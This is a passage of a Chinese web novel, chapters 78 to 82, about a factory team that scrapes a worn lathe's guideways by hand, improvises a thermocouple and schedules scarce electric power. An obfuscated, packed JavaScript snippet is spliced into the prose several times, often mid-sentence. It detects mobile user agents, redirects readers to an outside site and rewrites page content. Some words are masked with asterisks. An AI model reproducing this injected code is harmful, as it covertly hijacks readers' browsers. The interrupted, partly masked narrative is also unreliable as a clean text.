空气中弥漫着一股奇异的张力,仿佛每个人的精神都已提前奔赴了各自的战场,留在这里的,只是一具需要补充燃料的躯壳。 路承舟吃饭的速度快得惊人,他几乎是将面条吸进胃里,眼神却始终没有离开斜对面那面钉着图纸的木板墙。 他的大脑,显然还在以一种常人无法理解的高速运转,将那张总图分解成无数个可以被执行的细节。 食物对他而言,不是享受,仅仅是维持这台精密生物计算机运转的必要能量。 孙大海则截然相反。 他吃得极慢,每一口都咀嚼得极为充分,那双铜铃般的眼睛微微眯起,像一头正在反刍的巨兽。 他在消化食物,更是在消化路承舟扔给他的那套离心铸造方案。 每一个看似粗犷的动作背后,都隐藏着对金属熔流、凝固应力以及温度梯度的深沉思考。 钱德禄与丁建中这对老搭档,则将一碗面吃出了某种庄重的仪式感。 他们坐得笔直,腰杆挺得像标枪,仿佛即将面对的不是一台冰冷的机床,而是一场关乎毕生荣誉的决斗。 江建国安静地吃着,将所有人的状态尽收眼底。 他很满意。 这才是他想要的团队。 没有虚伪的客套,没有无谓的豪言壮语,只有一群被逼到绝境的猛兽,在舔舐伤口、积蓄力量,准备用最原始、最纯粹的技艺,去撕裂眼前的绝望。 一碗面很快见底。 路承舟放下筷子,发出的轻微碰撞声,如同发令枪响。 几乎在同一瞬间,所有人都站了起来,各自转身,毫不拖泥带水地回到了自己的阵地。 那张刚刚还冒着热气的餐桌,转眼间便被遗忘在角落,变得冰冷而孤寂。 战争,在下半夜,进入了最残酷的攻坚阶段。 车间中央,那台被拆解得只剩下光秃秃床身的C6140车床,成为了整个战场的焦点。 四盏大功率的碘钨灯从不同角度照射下来,将那三米多长的导轨照得纤毫毕现,每一处划痕、每一块锈斑,都像是大地上一道道丑陋的伤疤,无声地诉说着它曾经历过的**与摧残。 钱德禄俯下身,戴着老花镜的脸几乎要贴到导轨面上。 他手中握着一把样式古朴的刮刀,刀柄被常年的汗水浸润得油光发亮,呈现出一种深沉的枣红色。 他的搭档丁建中,则提着一桶红色的丹红粉,用一块干净的棉布,小心翼翼地在铸铁平台上涂抹出薄而均匀的一层。 随后,两人合力,将一块沉重的、被称为“标准平板”的校准工具抬起,轻轻地覆盖在涂满丹红粉的平台上,来回研磨。 当标准平板再次被抬起时,它的表面已经均匀地沾上了一层绯红。 这,便是他们衡量精度的“尺”。 “来吧。” 丁建中沉声说道。 两人再次合力,将这块带着红色印记的标准平板,小心翼翼地覆盖在了车床的导轨上。 他们推动着平板,缓缓地从导轨的一端,滑向另一端。 这是一个“显影”的过程。 导轨表面任何高于基准平面的凸起,都会被染上红色,而凹陷处,则会保持铸铁的本色。 当标准平板被移开时,在场的所有人,都忍不住倒吸了一口凉气。 导轨表面,那斑驳的红色印记,稀疏得如同戈壁滩上的几丛野草。 大部分区域,都是一片死寂的灰黑。 这说明导轨的磨损程度,远比他们预想的要严重得多。 它不再是一个平面,而是一片布满了坑洞与沟壑的丘陵。 “**……” 钱德禄的牙缝里迸出三个字,眼神中怒火与心痛交织。 路承舟也走了过来,他蹲下身,用手指轻轻拂过那些没有被染上红色的区域,眉头拧成了一个疙瘩。 “磨损量超过了二十个丝。” 他得出了一个冰冷的结论,“想要把它找回来,刮削量太大了。这几乎等于……重新制造一条导轨。” 气氛,瞬间凝重到了极点。 如果连最基础的机床精度都无法保证,那木板墙上挂着的所有图纸,都将沦为一堆废纸。 所有人的目光,都聚焦在了钱德禄身上。 这位沉默的老钳工,静静地凝视着眼前这片“废土”,足足有一分钟。 他的胸膛微微起伏,像是在进行一场剧烈的天人交战。 终于,他缓缓地直起身,脱掉了身上的蓝色工作服,只留下一件洗得发白的汗衫。 他那看似干瘦的双臂上,肌肉线条如同盘结的老树根,充满了**性的力量。 他没有说话,只是重新握住了那把刮刀。 他深吸一口气,整个人的重心猛然下沉,双脚如钉子般钉在地面。 下一秒,他手腕发力,刀锋以一个刁钻而精准的角度,悍然切入了导轨表面那片顽固的灰黑区域! “噌”一声清脆刺耳、却又带着奇特韵律的金属摩擦声,在寂静的车间里骤然响起! 所有人的心脏,都随着这一声,猛地一跳! 只见钱德禄的身体,以一种极其稳定的姿态,缓缓向前推进。 他的手臂没有丝毫颤抖,所有的力量都凝聚在了刀锋那不足一厘米宽的刃口上。 一道薄如蝉翼、闪烁着银灰色光泽的铁屑,随着刀锋的推进,缓缓地卷曲、延伸,像一朵在钢铁上绽放的、凄美而决绝的花。 汗珠,从他的额角渗出,顺着脸颊的皱纹滑落,滴在滚烫的灯罩上,“滋”的一声,化为一缕白烟。 他的呼吸,他的心跳,他全身的精气神,仿佛都已与手中的刮刀融为一体。 此刻,他不是在工作。 他是在战斗! 是在用人类最原始的血肉之躯,与冰冷的钢铁,与那该死的、以微米计算的误差,进行一场最蛮不讲理的、寸土必争的肉搏! 丁建中默默地站在一旁,手里拿着一块蘸了煤油的棉布。 每当钱德禄刮完一小片区域,他便立刻上前,将新产生的铁屑与油污擦拭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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钱德禄没有理会路承舟的惊叹,他转过头,沙哑的目光望向一直默默站在不远处的江建国。 “水。” 他只说了一个字。 江建国点了点头,转身从桌上拿起一个搪瓷缸,满满地倒上一杯温开水,亲自递了过去。 钱德禄接过水,一饮而尽。 他用手背擦了擦嘴,将搪瓷缸还给江建国,随即,重新握住了那把刮刀。 “下一块。” 他平静地说道,仿佛刚刚完成的,只是一次微不足道的餐前热身。 整个车间,一片死寂。 于无声处,却仿佛有惊雷滚滚而过,炸响在每一个人的心头。 江建国看着眼前这幅景象,看着那个重新俯下身去的老匠人,看着那片在灯光下闪烁着星辰般光芒的“燕尾斑”,他的嘴角,终于逸出一丝无人察觉的、发自内心的微笑。 远征的基石,就在这一刀一刀的刮削中,被牢牢地奠定了下来。 这,才是真正的工业。 没有捷径,没有侥幸。 有的,只是一群疯子,用他们的双手,用他们的汗水,用他们那份近乎偏执的信仰,在一片废墟之上,一微米一微米地,重新建立起属于精度的无上荣光。 第79章 微米之下的呼吸 钱德禄那句平静的“下一块”,像一滴滚烫的铁水滴入冰湖,没有激起喧嚣的浪花,却让整个车间的温度骤然升高,将空气都灼烧得粘稠而肃杀。 丁建中默默转身。 他重新为标准平板涂抹丹红,动作一丝不苟,仿佛一位即将为将军披甲的侍从。 钱德禄的刮刀,再一次落下。 “噌”那单调而富有韵律的刮削声,成了这个深夜里唯一的心跳。 它压倒了一切杂音,将所有人的精神都强行拉扯进一个以“微米”为单位的、令人窒息的维度。 时间在这里失去了意义。 没有人抬头看钟,也没有人去想此刻是何时。 东方既白或是永夜沉沦,都与他们无关。 他们的世界里,只剩下手中的工具,眼前的工件,以及那张钉在墙上、如同神谕般高悬的图纸。 孙大海的阵地,在那座小小的冲天炉旁。 他像一头围着祭坛打转的蛮熊,时而用粉笔在炉壁上画下潦草的符号,时而又抓起扳手和撬棍,用最粗暴的蛮力,去实现那个最精巧的构思。 他要在炉身侧面开一个孔,安装氩气吹扫的管道,那位置的选择,必须精准地避开耐火砖的接缝,又要恰好处于铁水涡流最平缓的区域。 这活儿,一半是科学,一半是玄学。 另一边,赵立本也终于从他的房间里走了出来。 他手里捧着一个古旧的木盒,脸上带着一种大梦初醒般的、混杂着疲惫与兴奋的神情。 他将木盒轻轻放在一张干净的工作台上,缓缓打开。 盒子里,没有众人想象中的精密仪器,只有一排大小不一、颜色各异的陶土碗,以及几块用油纸包好的、看不出材质的金属块。 他将那些金属块一一取出,放在耐火砖上,然后打开了一台小型电炉的开关。 随着温度的攀升,那些金属块开始以不同的速度熔化、变色。 赵立本的眼睛死死地盯着它们,瞳孔中倒映着炉膛内跳跃的红光。 他在用最古老、最原始的办法“观火法”,来校准自己对温度的感知。 “六百二十度,铅锡合金熔点,颜色暗红。” “九百六十度,银熔点,颜色赤红。” “一千零六十度,金熔点,颜色橘黄。” 他喃喃自语,像是在背诵一段早已刻入骨髓的经文。 他的双眼,就是这个世界上最精密的光谱分析仪。 这是他压箱底的绝活,是无数个不眠之夜,在炉火前用血汗换来的直觉。 然而,当他将最终的热处理工艺流程写在纸上时,那支自信的笔尖,却在最后一个关键参数上,迟疑地停住了。 保温。 图纸要求,刀杆在淬火前的正火处理,必须在九百八十摄氏度的环境下,进行长达一个小时的均匀保温,以彻底消除铸造过程中产生的内应力。 温,升得上去。 火,观得精准。 可如何让这个温度,像被钉**一样,在一个小时之内,波动不超过正负五个单位? 这已经超出了人类肉眼感知的极限。 赵立本的额头,第一次渗出了细密的汗珠。 他遇到了和钱德禄一样的问题他的手艺可以抵达神乎其技的巅峰,却无法对抗物理定律设下的那道冰冷屏障。 他枯坐良久,最终还是站起身,端着一杯凉茶,走到了江建国身边。 江建国正在清扫最后一片区域,他将地上的铁屑扫进簸箕,动作专注,仿佛那不是垃圾,而是一捧破碎的星辰。 “江总。” 赵立本的声音有些干涩。 “赵师傅,有结果了?” 江建国直起身,微笑着问道。 “有,也没有。” 赵立本叹了口气,将自己的困境和盘托出,“我能把温度烧到九百八十度,误差不超过十度。但我没法让它在这个温度上,稳定停留一个小时。炉温会衰减,我能凭经验加温,但那样的波动,就像海浪,忽高忽低,绝对超差。” 这是一个死结。 没有现代化的恒温控制设备,想实现如此苛刻的保温工艺,无异于痴人说梦。 江建国听完,却并没有露出意外的神色。 他放下扫帚,拍了拍手上的灰尘,沉吟了片刻。 “赵师傅,您听说过温差电效应吗?” “温差电?” 赵立本愣住了,这个名词对他来说,和天书没什么两样。 江建国没有直接解释。 他走到一张堆满杂物的桌子前,从一堆废旧电线里,抽出了一根铜线和一根铁线。 他用钳子剪下两小段,将两种不同材质金属线的一端,紧紧地拧在了一起。 然后,他将那两根线的另一端,分别接在了一台老旧的、精度极低的微安电流表的两个接线柱上。 “赵师傅,您看好了。” 江建国一手拿着那拧在一起的金属接头,另一只手,则划着了一根火柴,用那微弱的火焰,去灼烧那个接头。 神奇的一幕发生了。 就在火焰接触到金属接头的瞬间,那台老旧电流表的指针,竟像是被一只无形的手推动,开始轻微地、却又无比坚定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341861|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地偏转了起来! 赵立本的瞳孔,猛然收缩! 他一把抢过江建国手中的金属丝,凑到眼前,翻来覆去地看,仿佛想从那平平无奇的铜丝和铁丝上,看出什么机关来。 “这……这是什么戏法?” 他的声音都在发颤。 “这不是戏法,是物理。” 江建国的声音平静而清晰,带着一种洞穿事物本质的力量,“两种不同的导体连接在一起,当两个连接点的温度不同时,就会在回路中产生电流。温度差越大,电流就越强。这个电流,我们可以测量。” 他指了指那台电流表。 “只要我们提前做好标定,比如,在黄金熔化的一千零六十度时,看看电流是多少;在白银熔化时的九百六十度时,电流又是多少。我们就能绘制出一条‘温度电流’的对应曲线。” 江建国看着赵立本那张写满了震撼的脸,一字一顿地说道:“有了它,您就不再需要用眼睛去看。您只需要盯着这根指针,就能知道炉膛里,那双肉眼看不见的‘手’,将温度,推到了哪一个刻度。” “我们,就有了新的眼睛。” 轰! 江建国的每一句话,都像一柄重锤,狠狠地砸在赵立本的心头,将他数十年赖以为生的经验与骄傲,砸得粉碎,又在他脑海的废墟之上,建立起一个前所未见的、恢弘壮丽的新世界! 他看着那根简陋的金属丝,眼神如同看见了神谕。 原来…… 原来那些看不见、摸不着的东西,真的可以被“看见”! “我……我明白了……” 赵立本的嘴唇哆嗦着,他小心翼翼地捧着那根自制的“热电偶”,像是捧着一件稀世珍宝,转身快步走回了自己的工作台,甚至忘了跟江建国道一声谢。 江建国笑了笑,毫不在意。 他转过身,看向车间里那几个仍在埋头苦战的身影,看向那片被灯光照得雪亮的、正在一微米一微米被征服的导轨,看向那座正在被粗暴改造、即将脱胎换骨的冲天炉。 天边,已经泛起了一丝鱼肚白。 新的一天,即将到来。 路承舟通红着双眼,像个不知疲倦的幽灵,从铸铁平台后站起身。 他走到那面“战役地图”前,将第二张、第三张已经绘制完成的零件图纸,用图钉,一一钉在了第一张图纸的旁边。 刀杆、锁紧螺母、调节楔块…… 那面原本空白的木板墙上,远征一号的轮廓,正在一点一点地,变得清晰而完整。 战争,仍在继续。 但黎明,终将到来。 第80章 时间的敌人 黎明的光,是一把温柔而迟钝的刀。 它无法切开笼罩着远征工厂的浓重夜色,只能徒劳地将天边的云翳染上一抹病态的灰白,然后力竭地渗过布满污垢的玻璃窗,在冰冷的水泥地面上投下几道无力的光斑。 车间内部,依旧是碘钨灯的天下。 那炽热而专注的光明,像一个个独立的太阳,将外界那暧昧不清的晨曦,毫不留情地驱逐出去。 这里的时间,与世界无关。 钱德禄的刮刀声,已经变得有些迟滞。 那“噌噌”的声响不再像午夜时那般清亮,反而多了一丝金属过度摩擦后的沙哑,像是老人疲惫的喘息。 他的额头上,汗水早已流干,析出的盐分结成了一层白霜。 可他俯身向前的姿态,却如同一尊焊死在导轨上的雕塑,纹丝不动。 他的敌人,从来不是那三米长的导轨,而是时间。 另一端,冲天炉的改造进入了尾声。 孙大海赤着布满烫伤疤痕的上身,古铜色的皮肤在电焊弧光的映照下,反射着一层油亮的汗光。 他刚刚用最蛮横的手段,在炉壁上烧灼出一个碗口大的洞,此刻正小心翼翼地将一根加装了耐火陶瓷喷嘴的钢管,以一个极为刁钻的角度,焊接到位。 这根管子,就是未来净化铁水的生命线,是氩气的咽喉。 它的位置、角度、深度,直接决定了惰性气体能否在铁水内部形成最理想的翻滚对流。 路承舟的图纸上只给出了理论数据,但炉膛内部的实际情况,那些耐火砖的磨损、炉渣的挂壁,都需要孙大海用他那双浸淫炉火几十年的眼睛去判断、去修正。 火花四溅,映着他那张专注到狰狞的脸。 汗水顺着他的下巴滴落,在接触到滚烫的炉壁时,瞬间蒸发成一缕白烟,发出“滋”的一声轻响。 赵立本则将他的全部心神,都倾注在了那根简陋的热电偶上。 他搭建了一个小小的校准平台,用铅、锡、铝、银等不同熔点的金属,耐心地进行着一次又一次的标定。 他身前的黑板上,已经画出了一条歪歪扭扭却趋势明确的曲线。 那条线,就是他刚刚获得的“新眼睛”的视网膜,是他即将用来驯服一千摄氏度烈焰的缰绳。 整个车间,像一台结构复杂却又咬合精准的巨大机器,在一种无声的默契中,沉重而坚定地运转着。 每个人都是一个独立的齿轮,疯狂地燃烧着自己的生命与技艺,推动着一个共同的目标。 然而,再精密的机器,也需要能源。 就在孙大海完成最后一道焊缝,准备关闭焊机,让赵立本开始为电炉升温时,异变陡生! 滋啦! 一声刺耳的电流异响,如同夜枭的哀鸣,骤然划破了车间的宁静! 紧接着,悬在车间上空的四盏碘钨灯,光芒猛地一黯,亮度瞬间衰减了近一半。 那炽热的白光,迅速堕落成一种昏黄的、病态的颜色,仿佛垂死之人浑浊的眼球。 钱德禄的刮刀,在光线变暗的瞬间,猛然停住。 他抬起头,浑浊的眼中闪过一丝惊愕与茫然。 在这片昏暗的光线下,他已无法分辨导轨上那些微米级的红色斑点。 他的“战场”,被强制熄灭了灯火。 “怎么回事!” 丁建中惊呼出声。 赵立本更是脸色大变,他猛地冲到自己的电炉旁,只见那台刚刚开始预热的电阻炉,炉膛内那抹诱人的橘红色,正在以肉眼可见的速度黯淡下去! “停了!炉子停了!” 他的声音里带着一丝颤抖的绝望。 对于热处理而言,升温过程中的任何一次意外中断,都可能导致材料内部产生无法挽回的组织缺陷。 他之前所有的心血,都可能在这一刻,毁于一旦。 所有人都停下了手中的工作。 那台支撑着所有人信念的精密机器,因为能源的中断,发出不堪重负的呻吟,轰然停摆。 一股名为“恐慌”的冰冷气息,终于撕开了众人用专注和疲惫构筑的屏障,悄无声息地蔓延开来。 “是总闸跳了!” 孙大海扔下焊帽,大步流星地冲向墙角的配电箱。 他拉开锈迹斑斑的铁皮门,一股烧焦的臭味扑面而来。 里面那只巨大的空气开关,果然已经跳到了断开的位置。 他伸出蒲扇般的大手,用尽全力,试图将那根粗大的闸刀推回去。 “合不上!” 他怒吼一声,额上青筋暴起,“里面的热继电器肯定烧了!” 这句话,像一盆冰水,浇在了每个人的头顶。 热继电器烧毁,意味着电路已经长时间超负荷运转。 即便换一个新的上去,只要这些大功率设备同时开启,结果依然会是同样。 这个废弃仓库的供电系统,根本无法承受他们这种近乎疯狂的压榨。 路承舟快步走到配电箱前,只看了一眼,脸色便沉了下去。 他指着那根比拇指还粗的进线电缆,声音冰冷地说道:“没用的。这条主线的线径,最大安全载流量不会超过一百安培。刚刚光是电焊机和电炉同时启动,瞬时电流就已经突破了极限。这套电力系统,已经到顶了。” 到顶了。 这三个字,比任何复杂的解释都更让人绝望。 它意味着,他们引以为傲的技艺、不眠不休的奋战,都被卡在了一道最基础、也最无法逾越的门槛上。 就像一支兵临城下的无敌大军,却发现自己断了粮草。 车间里,陷入了一片死寂。 只剩下众人粗重的呼吸声,以及窗外那愈发清晰的风声。 就在这片凝固的绝望中,江建国缓缓放下了手中的扫帚。 他自始至终都没有流露出丝毫的慌乱,仿佛眼前的一切,早已在他的预 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341862|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料之中。 他走到那面钉着图纸的木板墙前,拿起一支粉笔,在旁边空白的位置,画下了一条长长的横线。 “这条线,是二十四小时。” 他的声音不大,却异常清晰,像一颗石子,投入了死寂的潭水,瞬间吸引了所有人的目光。 众人不解地看着他,不明白在这火烧眉毛的时刻,他画一条时间线有什么意义。 江建国没有解释。 他在这条时间线上,画下了第一个刻度。 “从现在开始,到上午九点,” 他用粉笔在刻度下写上“刮研”二字,“这两个小时,车间内只允许照明和手持电动工具工作。所有的电力,优先供给钱师傅。” 他又画下第二个刻度。 “上午九点到十二点,” 他写下“铸造准备”四个字,“冲天炉进行最后的检修和烘炉,赵师傅的电炉进行预热。其余所有非必要用电,全部关闭。” 他的粉笔,像一位指挥官的权杖,在那面墙上,冷静而果断地分割着时间与能源。 “十二点到下午两点,是冲天炉的熔炼与浇筑时间。这段时间,是用电的绝对高峰。届时,除了冲天炉的风机和赵师傅的保温电炉,车间内,必须断开一切电源。照明,用我们准备好的应急灯。” “下午两点到晚上八点,是毛坯的冷却与机床的修复时间。” “晚上八点之后,热处理开始。” 一条清晰的、以能源分配为核心的全新作战计划,就在那面墙上,被迅速地勾勒了出来。 众人目瞪口呆地看着那张时间表,脑子里仿佛有无数的齿轮在重新啮合。 他们终于明白了江建国的意思。既然无法拓宽河流的宽度,那就只能控制水流通过的顺序! 他要将所有人的工作,从并行强行扭转为串行! 这不仅仅是一个简单的调度,这是一种对整个生产流程的极致规划! 它要求每个工种之间,进行天衣无缝的衔接。 任何一个环节的延误,都将导致整个链条的崩溃。 “这……这能行吗?” 丁建中喃喃自语,眼神里充满了不确定。 这太疯狂了,这就像让一支军队,排着一字长蛇阵,去冲锋陷阵。 路承舟却死死地盯着那张时间表,他的眼中,爆发出一种前所未有的光芒。 他看到的,不是束缚,而是一种更高维度的秩序! 一种超越了单纯技术,上升到“管理”与“统筹”层面的、闪耀着智慧光芒的秩序! 江建国放下粉笔,转过身,平静的目光扫过每一个人。 “我们最大的敌人,不是设备,不是图纸,甚至不是精度。” 他顿了顿,一字一顿地说道。 “是时间。” “从现在起,我们不仅要与微米战斗,更要向秒钟宣战。” “诸位,欢迎来到真正的战场。” 第81章 秒钟的战场 江建国的话音落下,车间里那片死寂仿佛被冻结成了实体。 没有惊叹,没有附和,只有一片令人心悸的沉默。 那面墙上的时间表,像一道刚刚颁布的、不容置疑的律法,冰冷地烙印在每个人的视网膜上。 它将一天二十四小时切割成一块块泾渭分明的领地,每一块领地都分配给了唯一的主人,而其他人,皆为过客。 这是一种前所未有的秩序,一种将人的工作节奏,强行与机器的能源消耗进行捆绑的、冷酷到极致的秩序。 “这……这不是胡闹吗!” 丁建中第一个沉不住气,他那张饱经风霜的脸上写满了抗拒与不解,“干活哪有掐着秒表的?手感来了,一气呵成,思路断了,怎么接得上?再说了,让钱师傅干两个钟头就得歇,这不是耽误工夫吗!” 他的话,说出了所有老师傅的心声。 他们的技艺,是一种近乎于艺术的创造。 它需要沉浸,需要灵感,需要人与工具之间那种水**融合一的状态。 而江建国这张时间表,就像一把蛮横的剪刀,要将这种状态剪得支离破碎。 钱德禄没有说话,他只是缓缓抬起头,那双布满血丝的眼睛,第一次离开了心爱的导轨,望向江建国。 他的目光里没有愤怒,只有一种深沉的疲惫与困惑。 孙大海更是烦躁地抓了抓他那乱蓬蓬的头发,瓮声瓮气地说道:“那我这炉子,烘一半不让烘了?铁水化一半不让化了?江总,这不是开玩笑的。” 质疑的声音,如同水下的暗流,开始在人群中涌动。 他们可以忍受艰苦,可以不眠不休,但他们无法理解这种违背了他们数十年工作直觉的安排。 就在这片质疑的声浪即将汇成风暴之际,一个清冷而坚定的声音,切了进来。 “不,这才是唯一能赢的办法。” 路承舟从铸铁平台后走了出来。 他通宵未眠,脸色苍白得像一张纸,但那双眼睛,却亮得惊人,仿佛燃烧着两簇幽蓝的火焰。 他走到那面墙前,目光扫过那张时间表,眼神里非但没有困惑,反而充满了某种棋逢对手的欣赏与兴奋。 “你们以为,这只是一个简单的排班表?” 他转过身,看向众人,“不,这是一个系统。一个将我们有限的能源,进行‘时分复用’的作战系统。” “时分复用?” 丁建中被这个陌生的词汇砸得一愣。 “对。” 路承舟伸出手指,点在了“刮研”那两个字上,“在钱师傅工作的这两个小时里,电力这条‘公路’,是专属于他的。没有任何车辆跟他抢道,他可以把油门踩到底,心无旁骛地全速前进。” 他又指向“铸造准备”那一栏。 “而当他的时间结束,公路立刻清场,所有权限移交给孙师傅和赵师傅。他们的设备,同样可以毫无顾忌地满功率运行。” 路承舟的声音不高,却带着一种不容置疑的逻辑力量,狠狠地凿进每个人的脑子里。 “我们现在不是在一个设备齐全的大工厂里协同工作,我们是在一艘即将沉没的破船上,用同一个水桶轮流往外舀水!如果大家一拥而上,结果就是所有人都没水舀,大家一起沉下去!” “这个时间表,就是我们的舀水次序。它牺牲了每个人的自由,换来的,是整个项目活下去的唯一可能。” 一番话说完,车间里再次陷入沉默。 但这一次,沉默的性质变了。 困惑与抗拒的坚冰,被路承舟那番话砸开了一道裂缝,一种全新的、更加严酷的逻辑,正顺着那道裂缝,缓缓地渗入。 江建国看着路承舟,眼中闪过一抹赞许。 他知道,有些道理,由路承舟这个技术核心说出来,远比他这个管理者更有说服力。 他上前一步,声音沉稳地补充道:“路工说得没错。从现在起,我们每个人不仅要对自己的工作负责,更要对下一个环节的战友负责。钱师傅,您必须在九点之前,完成您这个阶段的工作量,因为您的结束,就是孙师傅的开始。” 他的目光转向孙大海,“孙师傅,您的熔炼,也必须在下午两点前准时完成,因为您铸出的毛坯,需要足够的时间冷却,才能交到下一道工序手上。” “在这里,时间不再是你自己的。你的每一分钟,都连接着整个链条的运转。” “这是一场接力赛。” 江建国最后总结 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他的动作,比之前任何一次都更快,更专注。 “噌”刮刀与导轨的摩擦声,再次响起。 但这声音,与之前截然不同了。 它不再是艺术家随心所欲的吟唱,而变成了节拍器一般精准而冷酷的律动。 钱德禄的每一次推刀,每一次收力,都仿佛在与手腕上那块看不见的秒表赛跑。 汗水,再一次从他的额角渗出。 但这一次,驱动他身体的,除了那份根植于灵魂的匠心,更有一种前所未有的、被时间追赶的紧迫感。 车间的其他人,则默默地退到了光明的边缘。 他们没有散去,也没有休息。 他们只是静静地站在阴影里,像一群等待出猎的狼,看着光芒中的那两道身影,看着那片正在被一微米一微米征服的战场。 每个人的心里,都在默默计算着时间。 一个全新的战场,一个以秒钟为壕沟,以分钟为堡垒的战场,在这片废墟之上,无声地展开了。 第82章 秒针下的囚徒 车间里,光与影的界限被切割得如同刀锋般锐利。 雪亮的碘钨灯光汇成一道光柱,精准地倾泻在C6140车床的三米导轨之上,将那片方寸之地变成了一座孤岛般的舞台。 舞台之外,是无边的昏暗与沉寂,几道从污浊天窗透入的微弱晨光,根本无力驱散这钢铁森林中的浓重阴影。 所有人都成了观众,或者说,成了囚徒。 他们被囚禁在这片阴影里,唯一的使命,就是等待。 钱德禄便是那舞台上唯一的演员。 他佝偻着背,整个人的重心都压在那柄不足一指宽的刮刀上,姿态虔诚得像个匍匐在神坛前的信徒。 然而,他此刻的动作却毫无美感可言,甚至带着一种与时间搏命的狰狞。 “噌噌噌”刮削声不再是之前那般悠扬顿挫,充满了艺术家的从容。 它变得短促、急切而又冷酷,像一台永不停歇的节拍器,以一种不容置疑的频率,疯狂地敲打着每个人的耳膜。 每一刀的推进距离,每一刀的切削深度,都经过了最冷酷的计算。 曾经那种随心所欲、追求“燕尾斑”完美形态的灵感迸发,被彻底压制了下去。 取而代之的,是一种对效率的极致追求。 他必须在一百二十分钟内,将这片指定区域的接触点精度,提升到图纸要求的最低标准。 多一分艺术,就少一分时间。 汗水顺着他额角的皱纹汇成溪流,无声地滑落,但他甚至没有余力去抬手擦拭一下。 他的双眼死死锁定着刀锋与铁轨接触的那一瞬间,瞳孔中映着金属翻飞的银光,整个世界都被压缩成了那条不足一厘米的战线。 阴影中,孙大海像一头被困在笼中的蛮熊,焦躁地来回踱步。 他那双蒲扇般的大手攥了又松,松了又攥,目光时不时地瞟向墙上那只老旧的挂钟。 时间的流逝对他而言,不再是窗外天色的变化,而是那根细长秒针每一次令人心烦意乱的跳动。 他的战场,那座刚刚改造完毕的冲天炉,像一头沉睡的钢铁巨兽,静静地蛰伏在黑暗里,等待着被唤醒的号角。 可号角,偏偏要等到九点整才会吹响。 赵立本则显得安静许多。 他坐在一张小马扎上,面前摊着一本笔记,手里握着一支铅笔。 他正在那张手绘的“温度电流”曲线上,进行着最后的修正与推演。 那根简陋的热电偶,就是他即将踏入新世界的唯一凭依。 他必须在电炉通电之前,将所有可能发生的炉温变化,都预先在脑海中模拟一遍。 他的平静之下,是另一种形式的紧绷,如同猎豹在扑出前的肌肉蓄力。 路承舟站在那面钉满图纸的木板墙前,一动不动。 他的大脑,如同一台超高负荷运转的计算机,正在疯狂地进行着后续所有工序的沙盘推演。 钱德禄的刮研精度,将直接决定后续镗床主轴的安装基准;孙大海的铸件质量,将决定机加工的余量和难度;赵立本的热处理,更是关系到刀具的最终寿命…… 这条**建国强行拧成一股的生产链,环环相扣,严丝合缝。 任何一个环节出现一微米的偏差,或是延误一秒钟的时间,其产生的连锁反应,都将被指数级地放大,最终导致整个项目的彻底崩盘。 他从前享受过最优渥的资源,指挥过最庞大的团队,却从未像今天这样,感觉到一种被逼到墙角的、令人窒息的兴奋。 这才是真正的极限制造。 时间,一分一秒地过去。 当时钟的指针,终于指向八点五十分时,车间里的空气仿佛被抽干了,变得粘稠而稀薄。 钱德禄的动作,明显开始变形。 他的呼吸变得粗重,每一次推刀,手臂都会出现一丝微不可查的颤抖。 他体内的糖原早已耗尽,此刻支撑着他的,完全是那股燃烧了几十年的意志力。 “老钱!左边三指位置,还有一片亮点没清掉!” 丁建中一直跪在导轨旁,他手持着一个高倍放大镜,双眼通红,声音嘶哑地吼道,像个在阵地上为炮兵修正弹道的观察员。 钱德禄没有回应,只是喉咙里发出一声野兽般的低吼,身体猛地一沉,用肩膀死死抵住刀柄,将全身最后的力量,都灌注到了刀锋之上! “噌!” 一声格外尖锐刺耳的悲鸣,刀锋过处,最后一缕顽固的铁屑被悍然剥离。 他完成了。 就在他收刀的瞬间,整个人像是被抽走了脊梁骨,身体一软,险些瘫倒在地。 丁建中眼疾手快,一把将他搀住。 “时间!” 钱德禄的嘴唇干裂,声音轻得像一阵风。 所有人的目光,齐刷刷地射向墙上的挂钟。 分针,稳稳地停在了数字“12”上。 九点整。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341864|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一秒不差。 就在此时,一个平静得不带丝毫感**彩的声音,响彻整个车间。 “刮研组,时间到。” 江建国不知何时已经站到了配电箱前,他的手,正按在那片区域的独立电闸上。 “孙师傅,赵师傅,准备。” 话音未落,他手臂猛地向下一挥。 啪! 一声清脆的跳闸声,如同发令枪响。 那道支撑了整整两个小时的雪亮光柱,瞬间熄灭。 